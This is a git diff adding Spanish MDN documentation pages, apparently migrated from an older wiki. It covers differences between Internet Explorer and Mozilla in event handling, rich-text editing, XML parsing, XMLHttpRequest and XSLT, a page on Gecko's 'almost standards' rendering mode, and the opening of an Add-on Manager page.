+</pre>
+<p>Mozilla soporta al 100% la forma estándar del W3C para añadir <em>escuchadores</em> a los nodos del DOM: usando los métodos <code>addEventListener()</code> y <code>removeEventListener()</code>; y además con el beneplácito de poder añadir múltiples escuchadores para un mismo tipo de evento. Ambos métodos necesitan tres parámetros: el tipo de evento, una referencia a la función y un valor booleano que indica si el escuchador debe de capturar los eventos en su fase <em>captura</em>. Si el booleano es puesto a false, sólo capturará los eventos en la fase <em>burbuja</em>. Los eventos del W3C tienen tres fases: captura, objetivo y burbuja. Cada objeto <code>event</code> tiene un atributo <code>eventPhase</code> que indica la fase en la que se encuentra el evento mediante un número de base 0. Cuando se provoca un evento, éste comienza en el elemento más externamente situado del DOM, o sea, en el elemento superior del árbol DOM. Luego va atravesando el DOM usando el camino más corto hacia el objetivo. Estamos en la fase de <strong>captura</strong>. Cuando el evento alcanza al objetivo, el evento está en la fase <strong>objetivo</strong>. Tras alcanzar el objetivo, regresa por el árbol hasta alcanzar de nuevo el nodo más exteriormente situado. Esta es la fase <strong>burbuja</strong>. El modelo de eventos de Internet Explorer sólo tiene la fase burbuja por lo que estableciendo el tercer parámetro a false se conseguirá un comportamiento igual al de Internet Explorer.</p>
+<pre>&lt;div id="myDiv"&gt;Click me!&lt;/div&gt;
+
+&lt;script&gt;
+
+  function handleEvent(aEvent) {
+    // if aEvent is null, it is the Internet Explorer event model,
+    // so get window.event.
+    var myEvent = aEvent ? aEvent : window.event;
+  }
+
+  function onPageLoad() {
+    var element = document.getElementById("myDiv");
+    element.addEventListener("click", handleEvent, false);
+  }
+&lt;/script&gt;
+</pre>
+<p>Una ventaja de <code>addEventListener()</code> y <code>removeEventListener()</code> sobre asignar las propiedades es que se pueden tener múltiples escuchadores de eventos para el mismo evento, cada cual llamando a una función diferente. Así, para eliminar un escuchador de evento se necesita que los tres parámetros sean los mismos que se usaron para añadir el escuchador.</p>
+<p>Mozilla no soporta el método de Internet Explorer de convertir etiquetas &lt;script&gt; en manejadores de eventos, la cual amplía a &lt;script&gt; con los atributos <code>for</code> y <code>event</code> (véase tabla 5). Tampoco suporta los métodos <code>attachEvent</code> ni <code>detachEvent</code>. En vez de eso, se deberían de usar los métodos <code>addEventListener</code> y <code>removeEventListener</code>. Internet Explorer no soporta la especificación de eventos del W3C.</p>
+<table class="standard-table">
+ <caption>
+  Tabla 5. Diferencias en los métodos de eventos entre Mozilla e Internet Explorer</caption>
+ <tbody>
+  <tr>
+   <th>Método de Internet Explorer</th>
+   <th>Método de Mozilla</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>attachEvent(tipoEvento, referenciaFuncion)</td>
+   <td>addEventListener(tipoEvento, referenciaFuncion, usarCaptura)</td>
+   <td>Añade un manejador de evento a un elemento del DOM</td>
+  </tr>
+  <tr>
+   <td>detachEvent(tipoEvento, referenciaFuncion)</td>
+   <td>removeEventListener(tipoEvento, referenciaFuncion, usarCaptura)</td>
+   <td>Elimina un manejador de evento a un elemento del DOM</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Edici.C3.B3n_de_texto_enriquecido" name="Edici.C3.B3n_de_texto_enriquecido">Edición de texto enriquecido</h3>
+<p>Aunque Mozilla está orgulloso de ser el navegador más compatible con los estándares del W3C, sigue soportando funcionalidades no estándar, tales como <code>innerHTML</code> o <a href="/es/Midas" title="es/Midas">editores de texto enriquecido</a>, al no existir los equivalentes del W3C.</p>
+<p>Con Mozilla 1.3 se introdujo una implementación de la característica <a href="/es/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode" title="es/Rich-Text_Editing_in_Mozilla/Class_xbDesignMode">designMode</a> de Internet Explorer, la cual convierte a un documento HTML en un editor de texto enriquecido.</p>
+<p>Una vez se ha cambiado al editor, los comandos pueden ser ejecutados en el documento a través del comando <code>execCommand</code>. Mozilla no soporta el atributo <code>contentEditable</code> de Internet Explorer para hacer editable cualquier control. Se puede usar un <code>iframe</code> para crear un editor de texto enriquecido.</p>
+<h4 id="Diferencias_en_el_texto_enriquecido" name="Diferencias_en_el_texto_enriquecido">Diferencias en el texto enriquecido</h4>
+<p>Mozilla soporta el método estándar del W3C para acceder al objeto <code>document</code> del iframe a través de <code>IFrameElmRef.contentDocument</code> mientras que Internet Explorer lo hace a través de <code>document.frames{{ mediawiki.external('\"IframeName\"') }}</code> y luego accede al <code>document</code> resultante.</p>
+<pre>&lt;script&gt;
+function getIFrameDocument(aID) {
+  var rv = null;
+
+  // if contentDocument existe, entonces es compatible con el W3C (Mozilla)
+  if (document.getElementById(aID).contentDocument){
+    rv = document.getElementById(aID).contentDocument;
+  } else {
+    // IE
+    rv = document.frames[aID].document;
+  }
+  return rv;
+}
+&lt;/script&gt;
+</pre>
+<p>Otra diferencia entre Mozilla e Internet Explorer es el HTML que crea el editor de texto enriquecido. Por defecto, Mozilla usa CSS para generar marcado. Sin embargo, Mozilla permite alternar entre el modo HTML y CSS usando el comando <code>useCSS</code> del execCommand cambiándolo entre true y false. Internet Explorer siempre usa el marcado HTML.</p>
+<pre>Mozilla (CSS):
+  &lt;span style="color: blue;"&gt;Azul&lt;/span&gt;
+
+Mozilla (HTML):
+  &lt;font color="blue"&gt;Azul&lt;/font&gt;
+
+Internet Explorer:
+  &lt;FONT color="blue"&gt;Azul&lt;/FONT&gt;
+</pre>
+<p>Más abajo hay una lista de comandos soportados por execCommand en Mozilla:</p>
+<table class="standard-table">
+ <caption>
+  Tabla 6. Comandos del editor de texto enriquecido.</caption>
+ <tbody>
+  <tr>
+   <th>Nombre</th>
+   <th>Descripción</th>
+   <th>Argumentos</th>
+  </tr>
+  <tr>
+   <td>bold</td>
+   <td>Alterna el modo en negrita de la selección.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>createlink</td>
+   <td>Genera un enlace HTML a partir del texto seleccionado.</td>
+   <td>URL a usar para el enlace</td>
+  </tr>
+  <tr>
+   <td>delete</td>
+   <td>Borra la selección.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>fontname</td>
+   <td>Cambia la fuente del texto seleccionado.</td>
+   <td>Nombre de la fuente (por ejemplo, Arial)</td>
+  </tr>
+  <tr>
+   <td>fontsize</td>
+   <td>Cambia el tamaño del texto seleccionado.</td>
+   <td>Tamaño de la fuente</td>
+  </tr>
+  <tr>
+   <td>fontcolor</td>
+   <td>Cambia el color de la fuente del texto seleccionado.</td>
+   <td>Color a usar</td>
+  </tr>
+  <tr>
+   <td>indent</td>
+   <td>Indenta el bloque donde el se encuentra el cursor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>inserthorizontalrule</td>
+   <td>Inserta un elemento &lt;hr&gt; en la posición del cursor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>insertimage</td>
+   <td>Inserta una imagen en la posición del cursor.</td>
+   <td>URL de la imagen</td>
+  </tr>
+  <tr>
+   <td>insertorderedlist</td>
+   <td>Inserta un elemento de lista ordeanda (&lt;ol&gt;) en la posición del cursor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>insertunorderedlist</td>
+   <td>Inserta un elemento de lista no ordenada (&lt;ul&gt;) en la posición del cursor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>italic</td>
+   <td>Alterna el modo en cursiva de la selección.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifycenter</td>
+   <td>Centra el contenido de la línea actual.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifyleft</td>
+   <td>Alinea el contenido de la línea actual a la izquierda.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>justifyright</td>
+   <td>Alinea el contenido de la línea actual a la derecha.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>outdent</td>
+   <td>Elimina la indentación del bloque donde se halla el cursor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>redo</td>
+   <td>Rehace el anterior comando deshecho.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>removeformat</td>
+   <td>Elimina todo el formato de la selección.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>selectall</td>
+   <td>Selecciona todo el texto del editor.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>strikethrough</td>
+   <td>Alterna el modo tachado del texto seleccionado.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>subscript</td>
+   <td>Convierte la selección actual a subíndice.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>superscript</td>
+   <td>Convierte la selección actual a superíndice.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>underline</td>
+   <td>Alterna el modo subrayado del texto seleccionado.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>undo</td>
+   <td>Deshace el último comando ejecutado.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>unlink</td>
+   <td>Elimina toda la información sobre enlaces de la selección.</td>
+   <td>---</td>
+  </tr>
+  <tr>
+   <td>useCSS</td>
+   <td>Alterna el uso de CSS en el marcado generado.</td>
+   <td>Valor booleano</td>
+  </tr>
+ </tbody>
+</table>
+<p>Para más información, véase <a href="/es/Rich-Text_Editing_in_Mozilla" title="es/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></p>
+<h3 id="Diferencias_en_XML" name="Diferencias_en_XML">Diferencias en XML</h3>
+<p>Mozilla posee un fuerte soporte para XML y todas sus tecnologías relacionadas, tales como XSLT y servicios web. Además soporta algunas extensiones no estándar de Internet Explorer, tales como XMLHttpRequest.</p>
+<h4 id="C.C3.B3mo_manejar_XMLs" name="C.C3.B3mo_manejar_XMLs">Cómo manejar XMLs</h4>
+<p>Al igual que ocurre con el estándar HTML, Mozilla soporta la especificación del DOM para XML del W3C, la cual permite manipular prácticamente cualquier aspecto de cualquier documento XML. Las diferencias entre el DOM para XML de Internet Explorer y Mozilla son provocadas por el comportamiento no estándar de Internet Explorer. Probablemente la diferencia más común es cómo ambos manejan los espacios en blanco en los nodos de texto. Con frecuencia cuando se genera un XML, contiene espacios en blanco entre los nodos XML. Internet Explorer, cuando usa <code>XMLNode.childNodes[]</code> no contendrá estos nodos de espacios en blanco. En Mozilla, estos nodos se incluirán en el vector.</p>
+<pre>XML:
+  &lt;?xml version="1.0"?&gt;
+  &lt;myXMLdoc xmlns:myns="http://myfoo.com"&gt;
+    &lt;myns:foo&gt;bar&lt;/myns:foo&gt;
+  &lt;/myXMLdoc&gt;
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  alert(myXMLDoc.childNodes.length);
+</pre>
+<p>La primera línea de JavaScript carga el documento XML y accede a su elemento ráiz (<code>myXMLDoc</code>) recuperando el <code>documentElement</code>. La segunda línea simplemente muestra el número de nodos hijos. Para la especificación del W3C, los espacios en blanco y los retornos de carro se unen bajo un nodo de texto si uno es seguido del otro. Para Mozilla, el nodo <code>myXMLdoc</code> tiene tres hijos: un nodo de texto que contiene un retorno de carro y dos espacios, el nodo <code>myns:foo</code>, y otro nodo de texto con un retorno de carro. No obstante, Internet Explorer no obedece esto y devolverá "1" para el anterior código, considerando sólamente el nodo <code>myns:foo</code> Por elli, para recorrer los nodos hijos y desechar los nodos de texto se deben distinguir tales nodos del resto.</p>
+<p>Como se mencionó antes, cada nodo tiene un atributo <code>nodeType</code> que representa el tipo de nodo. Por ejemplo, un nodo elemento tiene tipo 1 mientras que un nodo documento posee tipo 9. Para distinguir los nodos de texto se deben buscar los nodos de tipo 3 (nodos de texto) y los de tipo 8 (nodos comentario).</p>
+<pre>XML:
+  &lt;?xml version="1.0"?&gt;
+  &lt;myXMLdoc xmlns:myns="http://myfoo.com"&gt;
+    &lt;myns:foo&gt;bar&lt;/myns:foo&gt;
+  &lt;/myXMLdoc&gt;
+
+JavaScript:
+  var myXMLDoc = getXMLDocument().documentElement;
+  var myChildren = myXMLDoc.childNodes;
+
+  for (var run = 0; run &lt; myChildren.length; run++){
+    if ( (myChildren[run].nodeType != 3) &amp;&amp;
+          myChildren[run].nodeType != 8) ){
+      // not a text or comment node
+    };
+  };
+</pre>
+<h4 id="Islas_de_datos_XML" name="Islas_de_datos_XML">Islas de datos XML</h4>
+<p>Internet Explorer posee una peculiaridad no estándar llamada <em>islas de datos XML (XML data islands)</em>, que permite incrustar XML dentro de un documento HTML usando la etiqueta HTML no estándar <code>&lt;xml&gt;</code>. Mozilla no soporta las islas de datos XML y las maneja como etiquetas HTML desconocidas. Se puede obtener la misma funcionalidad utilizando XHTML, sin embargo, debido a que el soporte de Internet Explorer para XHTML es débil, esto no es generalmente una opción.</p>
+<p>Una solución multiplataforma es usar analizadores DOM que generan, a partir de un documento XML serializado, el documento XML analizado. Mozilla usa la clase <code>DOMParser</code> la cual toma una cadena serializada crea un documento XML a partir de ella. En Internet Explorer se puede obtener la misma funcionalidad usando ActiveX. El nuevo <code>Microsoft.XMLDOM</code> genera y posee el método un método llamado <code>loadXML</code> que acepta una cadena de texto y genera un documento a partir de ella. El siguiente código muestra su funcionamiento:</p>
+<p> </p>
+<pre>Isla de datos XML para IE
+  ..
+  &lt;xml id="xmldataisland"&gt;
+    &lt;foo&gt;bar&lt;/foo&gt;
+  &lt;/xml&gt;
+
+Solución multiplataforma:
+  var xmlString = "&lt;xml id=\"xmldataisland\"&gt;&lt;foo&gt;bar&lt;/foo&gt;&lt;/xml&gt;";
+
+  var myDocument;
+
+  if (document.implementation.createDocument){
+    // Mozilla, create a new DOMParser
+    var parser = new DOMParser();
+    myDocument = parser.parseFromString(xmlString, "text/xml");
+  } else if (window.ActiveXObject){
+    // Internet Explorer, create a new XML document using ActiveX
+    // and use loadXML as a DOM parser.
+    myDocument = new ActiveXObject("Microsoft.XMLDOM");
+    myDocument.async="false";
+
+    myDocument.loadXML(xmlString);
+  }
+</pre>
+<h4 id="Peticiones_HTTP_para_XML" name="Peticiones_HTTP_para_XML">Peticiones HTTP para XML</h4>
+<p>Internet Explorer permite el envío y recuperación de ficheros XML usando la clase de MSXML <code>XMLHTTP</code>, instanciada a través de ActiveX usando <code>new ActiveXObject("Msxml2.XMLHTTP")</code> o <code>new ActiveXObject("Microsoft.XMLHTTP")</code>. Dado que no hay un método estándar para hacer esto, Mozilla proporciona la misma funcionalidad en el objeto global <code>XMLHttpRequest</code> de JavaScript. El objeto genera peticiones asíncronas de modo predeterminado.</p>
+<p>Tras instanciar el objeto usando <code>new XMLHttpRequest()</code> se puede usar el método <code>open</code> para especificar qué tipo de petición (GET o POST) se quiere usar, qué fichero se va a cargar y si será una petición asíncrona o no. Si la llamada es asíncrona, será necesario facilitar al miembro <code>onload</code> una referencia a una función que será invocada una vez la petición ha sido completada.</p>
+<p>Petición síncrona:</p>
+<pre class="eval">  var myXMLHTTPRequest = new XMLHttpRequest();
+  myXMLHTTPRequest.open("GET", "data.xml", false);
+
+  myXMLHTTPRequest.send(null);
+
+  var myXMLDocument = myXMLHTTPRequest.responseXML;
+</pre>
+<p>Petición asíncrona:</p>
+<pre class="eval">  var myXMLHTTPRequest;
+
+  function <span class="boldcode">xmlLoaded</span>() {
+    var myXMLDocument = myXMLHTTPRequest.responseXML;
+  }
+
+  function loadXML(){
+    myXMLHTTPRequest = new XMLHttpRequest();
+
+    myXMLHTTPRequest.open("GET", "data.xml", true);
+
+    myXMLHTTPRequest.onload = <span class="boldcode">xmlLoaded</span>;
+
+    myXMLHTTPRequest.send(null);
+  }
+</pre>
+<p>La tabla 7 muestra una lista de métodos y propiedades disponibles para el objeto <code>XMLHttpRequest</code> de Mozilla.</p>
+<table class="standard-table">
+ <caption>
+  Tabla 7. Métodos y propiedades XMLHttpRequest</caption>
+ <tbody>
+  <tr>
+   <th>Nombre</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>void abort()</td>
+   <td>Detiene la petición si ésta aún está en curso.</td>
+  </tr>
+  <tr>
+   <td>string getAllResponseHeaders()</td>
+   <td>Devuelve todas las cabeceras de respuesta como una única cadena.</td>
+  </tr>
+  <tr>
+   <td>string getResponseHeader(string headerName)</td>
+   <td>Devuelve el valor de la cabecera especificada.</td>
+  </tr>
+  <tr>
+   <td>functionRef onerror</td>
+   <td>La función que se le asigne será invocada cuando ocurran errores durante una petición.</td>
+  </tr>
+  <tr>
+   <td>functionRef onload</td>
+   <td>La función que se le asigne será invocada cuando la petición se complete con éxito y se haya recibido una respuesta. Se usa con las peticiones asíncronas.</td>
+  </tr>
+  <tr>
+   <td>void open (string HTTP_Method, string URL)<br>
+    <br>
+    void open (string HTTP_Method, string URL, boolean async, string userName, string password)</td>
+   <td>Inicializa la petición para la URL especificada, usando tanto GET o POST como el método HTTP. Para enviar la petición, es necesario llamar al método <code>send()</code> tras la inicialización. Si <code>async</code> se establece a false, la petición será síncrona. De modo predeterminado es asíncrona. Opcionalmente se puede especificar un nombre de usuario y contraseña por si la necesita la URL facilitada. Initializes the request for the specified URL, using either GET or POST as the HTTP method. To send the request, call the <code>send()</code> method after initialization. If <code>async</code> is false, the request is synchronous, else it defaults to asynchronous. Optionally, you can specify a username and password for the given URL needed.</td>
+  </tr>
+  <tr>
+   <td>int readyState</td>
+   <td>Estado de la petición. Valores posibles:
+    <table>
+     <tbody>
+      <tr>
+       <th>Valor</th>
+       <th>Descripción</th>
+      </tr>
+      <tr>
+       <td>0</td>
+       <td>UNINITIALIZED - open() aún no ha sido llamado.</td>
+      </tr>
+      <tr>
+       <td>1</td>
+       <td>LOADING - send() aún no ha sido llamado.</td>
+      </tr>
+      <tr>
+       <td>2</td>
+       <td>LOADED - send() ha sido llamado y las cabeceras y el estado están disponibles.</td>
+      </tr>
+      <tr>
+       <td>3</td>
+       <td>INTERACTIVE - Descargando. responseText contiene datos parciales.</td>
+      </tr>
+      <tr>
+       <td>4</td>
+       <td>COMPLETED - Todas las operaciones han sido completadas.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <td>string responseText</td>
+   <td>Cadena que contiene la respuesta.</td>
+  </tr>
+  <tr>
+   <td>DOMDocument responseXML</td>
+   <td>Documento DOM que contiene la respuesta.</td>
+  </tr>
+  <tr>
+   <td>void send(variant body)</td>
+   <td>Realiza la petición. Si <code>body</code> está definido, será enviado como el cuerpo de la petición POST. <code>body</code> puede ser un documento XML o una cadena conteniendo un XML serializado.</td>
+  </tr>
+  <tr>
+   <td>void setRequestHeader (string headerName, string headerValue)</td>
+   <td>Establece una cabecera de petición HTTP para usarla en la petición HTTP. Ha de ser llamada tras invocar al método <code>open()</code>.</td>
+  </tr>
+  <tr>
+   <td>string status</td>
+   <td>El código de estado de la respuesta HTTP.</td>
+  </tr>
+ </tbody>
+</table>
+<h4 id="Diferencias_en_XSLT" name="Diferencias_en_XSLT">Diferencias en XSLT</h4>
+<p>Mozilla soporta las transformaciones XSL 1.0 (XSLT). Además permite a JavaScript realizar tanto transformaciones XSLT como consultas XPath sobre un documento.</p>
+<p>Mozilla necesita que se le pase el fichero XML y XSLT que contiene la hoja de estilos con un tipo MIME XML (<code>text/xml</code> o <code>application/xml</code>). Este es el motivo más común por el cual los XSLT no funcionan en Mozilla pero sí en Internet Explorer. En ese sentido, Mozilla es estricto.</p>
+<p>Internet Explorer 5.0 y 5.5 soportan el borrador de XSLT, el cual es sustancialmente diferente a la recomendación final 1.0. La forma más fácil de distinguir la versión en la que ha sido escrito un fichero XSLT es mirando su espacio de nombres. El espacio de nombres para la recomendación 1.0 es <code><span class="nowiki">http://www.w3.org/1999/XSL/Transform</span></code> mientras que el espacio de nombres del borrador es <code><span class="nowiki">http://www.w3.org/TR/WD-xsl</span></code>. Internet Explorer 6 soporta el borrador por razones de compatibilidad hacia atrás. Mozilla no soporta dicho borrador, sólo la recomendación final.</p>
+<p>Si el XSLT necesita distinguir el navegador, se puede consultar la propiedad de sistema "xsl:vendor". El motor XSLT de Mozilla devolverá "Transformiix" mientras que Internet Explorer devolverá "Microsoft".</p>
+<pre>&lt;xsl:if test="system-property('xsl:vendor') = 'Transformiix'"&gt;
+  &lt;!-- Marcado específico de Mozilla --&gt;
+&lt;/xsl:if&gt;
+&lt;xsl:if test="system-property('xsl:vendor') = 'Microsoft'"&gt;
+  &lt;!-- Marcado específico de Internet Explorer --&gt;
+&lt;/xsl:if&gt;
+</pre>
+<p>Mozilla también proporciona una interfaz de JavaScript para XSLT, permitiendo a un sitio web completar transformaciones XSLT en memoria. Esto puede hacerse usando el objeto global de JavaScript <code>XSLTProcessor</code>. <code>XSLTProcessor</code> necesita que se carge el XML y los ficheros XSLT ya que necesita sus documentos DOM. El documento XSLT importado por <code>XSLTProcessor</code> permite manipular los parámetros XSLT. <code>XSLTProcessor</code> puede generar un documento independiente utilizando <code>transformToDocument()</code> o puede crear un fragmento de documento utilizando <code>transformToFragment()</code> para poder ser anexado fácilmente a otro documento DOM. Más abajo se muestra un ejemplo:</p>
+<pre>var xslStylesheet;
+var xsltProcessor = new XSLTProcessor();
+
+// carga el fichero XSLT example1.xsl
+var myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xsl", false);
+myXMLHTTPRequest.send(null);
+
+// obtiene el documento XML y lo importa
+xslStylesheet = myXMLHTTPRequest.responseXML;
+
+xsltProcessor.importStylesheet(xslStylesheet);
+
+// carga el fichero xml example1.xml
+myXMLHTTPRequest = new XMLHttpRequest();
+myXMLHTTPRequest.open("GET", "example1.xml", false);
+myXMLHTTPRequest.send(null);
+
+var xmlSource = myXMLHTTPRequest.responseXML;
+
+var resultDocument = xsltProcessor.transformToDocument(xmlSource);
+</pre>
+<p>Tras crear un objeto <code>XSLTProcessor</code>, hay que cargar el fichero XSLT a través de <code>XMLHttpRequest</code>. El miembro <code>responseXML</code> del XMLHttpRequest contiene el documento XML del fichero XSLT, el cuas es pasado a <code>importStylesheet</code>. Luego hay que usar de nuevo <code>XMLHttpRequest</code> para cargar el documento XML que va a ser transformado. Ese documento es entonces pasado al método <code>transformToDocument</code> de <code>XSLTProcessor</code>. La tabla 8 muestra una lista con los métodos de <code>XSLTProcessor</code>.</p>
+<table class="standard-table">
+ <caption>
+  Tabla 8. Métodos de XSLTProcessor</caption>
+ <tbody>
+  <tr>
+   <th>Método</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>void importStylesheet(Node styleSheet)</td>
+   <td>Importa la hoja de estilo XSLT. El argumento <code>styleSheet</code> es el nodo ráiz del documento DOM de la hoja de estilos XSLT.</td>
+  </tr>
+  <tr>
+   <td>DocumentFragment transformToFragment(Node source, Document owner)</td>
+   <td>Transforma el nodo <code>source</code> aplicando la hoja de estilos importada con el método <code>importStylesheet</code> y genera un DocumentFragment. <code>owner</code> especifica a qué documento DOM debe anexarse el DocumentFragment, haciéndolo compatible con ese documento DOM.</td>
+  </tr>
+  <tr>
+   <td>Document transformToDocument(Node source)</td>
+   <td>Transforma el nodo <code>source</code> aplicando la hoja de estilos importada a través del método <code>importStylesheet</code> y devuelve un documento DOM independiente.</td>
+  </tr>
+  <tr>
+   <td>void setParameter(String namespaceURI, String localName, Variant value)</td>
+   <td>Establece un parámetro en la hoja de estilos XSLT importada.</td>
+  </tr>
+  <tr>
+   <td>Variant getParameter(String namespaceURI, String localName)</td>
+   <td>Obtiene el valor de un parámetro en la hoja de estilos XSLT importada.</td>
+  </tr>
+  <tr>
+   <td>void removeParameter(String namespaceURI, String localName)</td>
+   <td>Elimina todos los parámetros establecidos para la hoja de estilos XSLT importada y establece sus valores a los predeterminados para el XSLT.</td>
+  </tr>
+  <tr>
+   <td>void clearParameters()</td>
+   <td>Elimina todos los parámetros establecidos y establece sus valores a los predeterminados en la hoja de estilos XSLT.</td>
+  </tr>
+  <tr>
+   <td>void reset()</td>
+   <td>Elimina todos los parámetros y hojas de estilos.</td>
+  </tr>
+ </tbody>
+</table>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Author(s): Doron Rosenberg, IBM Corporation</li>
+  <li>Published: 26 Jul 2005</li>
+  <li>Link: <a class="external" href="http://www.ibm.com/developerworks/web/library/wa-ie2mozgd/" rel="freelink">http://www.ibm.com/developerworks/we...y/wa-ie2mozgd/</a></li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/es/modo_casi_estándar_de_gecko/index.html b/files/es/modo_casi_estándar_de_gecko/index.html
new file mode 100644
index 0000000000..4a0f6c1c38
--- /dev/null
+++ b/files/es/modo_casi_estándar_de_gecko/index.html
@@ -0,0 +1,46 @@
+---
+title: Modo casi estándar de Gecko
+slug: Modo_casi_estándar_de_Gecko
+tags:
+  - Desarrollo_Web
+  - Estándares_Web
+  - Gecko
+  - HTML
+  - Todas_las_Categorías
+---
+<p> </p>
+<p> </p>
+<p>A partir de Mozilla 1.0.1 y 1.1 beta, hay un nuevo modo de renderizado llamado "casi estándar". Este modo se añade a los ya tradicionales y modo "estándar".</p>
+<p>El modo de renderizado "casi estándar" es exactamente igual que el "modo estándar", en todo excepto en un detalle, la disposición de las imágenes dentro de las tablas se maneja tal y como se hace en el modo "Quirks" de Gecko, que es bastante comparable con la de otros navegadores, tales como Internet Explorer. Esto implica que los diseños basados en tablas con imágenes troceadas tienen más probabilidades de mostrarse correctamente en los navegadores basados en Gecko que utilicen el motor de renderizado de Mozilla 1.0.1 o posterior, tanto en el modo "Quirks" como en el "casi estándar". Léase el artículo "<a href="es/Im%c3%a1genes%2c_tablas_y_huecos_misteriosos">Imágenes, tablas y huecos misteriosos</a>" para una explicación detallada de cómo son tratados estos diseños en el modo "estándar".</p>
+<p>Salvo esta diferencia, el modo "casi estándar" y el "estándar" son exactamente iguales en términos de maquetación y otros comportamientos.</p>
+<h3 id="Activando_el_modo_.22casi_est.C3.A1ndar.22" name="Activando_el_modo_.22casi_est.C3.A1ndar.22">Activando el modo "casi estándar"</h3>
+<p>Los DOCTYPEs que activan el modo "casi estándar" son los que contienen:</p>
+<ul>
+ <li>El identificador público "<code>-//W3C//DTD XHTML 1.0 Transitional//EN</code>"</li>
+ <li>El identificador público "<code>-//W3C//DTD XHTML 1.0 Frameset//EN</code>"</li>
+ <li>El identificador público "<code>-//W3C//DTD HTML 4.01 Transitional//EN</code>", con un identificador de sistema</li>
+ <li>El identificador público "<code>-//W3C//DTD HTML 4.01 Frameset//EN</code>", con un identificador de sistema</li>
+ <li>The IBM system DOCTYPE "<code><span class="nowiki">http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd</span></code>"</li>
+</ul>
+<p>Un DOCTYPE completo contiene un identificador público y un identificador de sistema. Al hablar sobre los DOCTYPEs, mucha gente se refiere a ellos como "con URI" o "sin URI". El URI es el identificador de sistema. Por ejemplo, considere el DOCTYPE siguiente:</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+			"http://www.w3.org/TR/html4/loose.dtd"&gt;</pre>
+<p>Tiene dos partes:</p>
+<ul>
+ <li>El identificador público: "<code>-//W3C//DTD HTML 4.01 Transitional//EN</code>"</li>
+ <li>El identificador de sistema: "<code><span class="nowiki">http://www.w3.org/TR/html4/loose.dtd</span></code>"</li>
+</ul>
+<p>Así, cualquier DOCTYPE HTML 4.01 transicional o Frameset con un URI (identificador de sistema) activará el modo "casi estándar", como cualquier DOCTYPE XHTML 1.0 transicional o Frameset, con o sin URI. Los Autores sin relación con IBM no deben preocuparse por su DOCTYPE a medida, también activará el modo "casi estándar".</p>
+<h3 id="Recomendaciones" name="Recomendaciones">Recomendaciones</h3>
+<ul>
+ <li>Los autores que están procurando migrar al código válido usando HTML 4,01 o XHTML 1,0, y que todavía utilizan conceptos de diseño con tablas e imágenes, deben asegurarse de utilizar un DOCTYPE que active el modo "casi estándar".</li>
+</ul>
+<h3 id="M.C3.A1s_en_MDC" name="M.C3.A1s_en_MDC">Más en MDC</h3>
+<ul>
+ <li><a href="es/Im%c3%a1genes%2c_tablas_y_huecos_misteriosos">Imágenes, tablas y huecos misteriosos</a></li>
+</ul>
+<h3 id="Enlaces_relacionados" name="Enlaces_relacionados">Enlaces relacionados</h3>
+<ul>
+ <li><a href="es/Selecci%c3%b3n_de_modo_en_Mozilla">Selección de modo en Mozilla</a></li>
+ <li><span class="comment">no sé si publicar esta sección: &lt;div class="originaldocinfo"&gt; == Original Document Information == * Author(s): Eric A. Meyer, Netscape Communications * Last Updated Date: Published 08 Nov 2002 * Cop</span></li>
+</ul>
diff --git a/files/es/mozilla/add-ons/add-on_manager/index.html b/files/es/mozilla/add-ons/add-on_manager/index.html
new file mode 100644
index 0000000000..a36c26e1be
--- /dev/null
+++ b/files/es/mozilla/add-ons/add-on_manager/index.html
@@ -0,0 +1,61 @@
+---
+title: Add-on Manager
+slug: Mozilla/Add-ons/Add-on_Manager
+translation_of: Mozilla/JavaScript_code_modules/Add-on_Manager
+---
+<p>{{ gecko_minversion_header("2.0") }}</p>
+
+<p>el Add-on Manager es responsable de manejar  todos los add-ons instalados en la aplicación. A traves de la informacion de la APIs acerca de todos los add-ons instalados puede ser recuperado y nuevos  add-ons pueden ser instalados. Las APIs son diseñadas para ser genericas y soportar diferentes tipos de add-ons.</p>
+
+<p>Muchas funciones en la interfaz de  Add-on Manager operan de manera asincrona  retornando resultados a traves de devoluciones de llamadas que se pasan a las funciones . Estas devoluciones pueden ser llamadas inmediatamente, mientras la funcion inicial se esta ejecutando o apenas despues de su ejecución dependiendo de cuando la informacion requerida este disponible.</p>
+
+<h2 id="Accediendo_add-ons_Instalados">Accediendo add-ons Instalados</h2>
+
